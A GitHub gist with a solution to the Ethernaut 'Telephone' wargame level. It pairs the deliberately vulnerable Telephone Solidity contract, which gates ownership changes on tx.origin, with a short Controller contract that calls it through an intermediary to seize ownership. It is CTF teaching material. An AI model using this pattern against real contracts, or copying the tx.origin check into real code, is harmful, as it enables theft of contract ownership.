Skip to content

Instantly share code, notes, and snippets.

@tennisonchan
Last active January 15, 2022 05:27
Show Gist options
  • Save tennisonchan/193545a081b8541f0c5a33619e795f49 to your computer and use it in GitHub Desktop.
Save tennisonchan/193545a081b8541f0c5a33619e795f49 to your computer and use it in GitHub Desktop.
Ethernaut-5-Telephone-0x0b6F6CE4BCfB70525A31454292017F640C10c768
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Telephone.sol";
contract Controller {
Telephone public originalContract = Telephone(0x88E435a53D3cccb830CDEde7a5bA2A165E7CAe1c);
function callChangeOwner () public {
originalContract.changeOwner(msg.sender);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment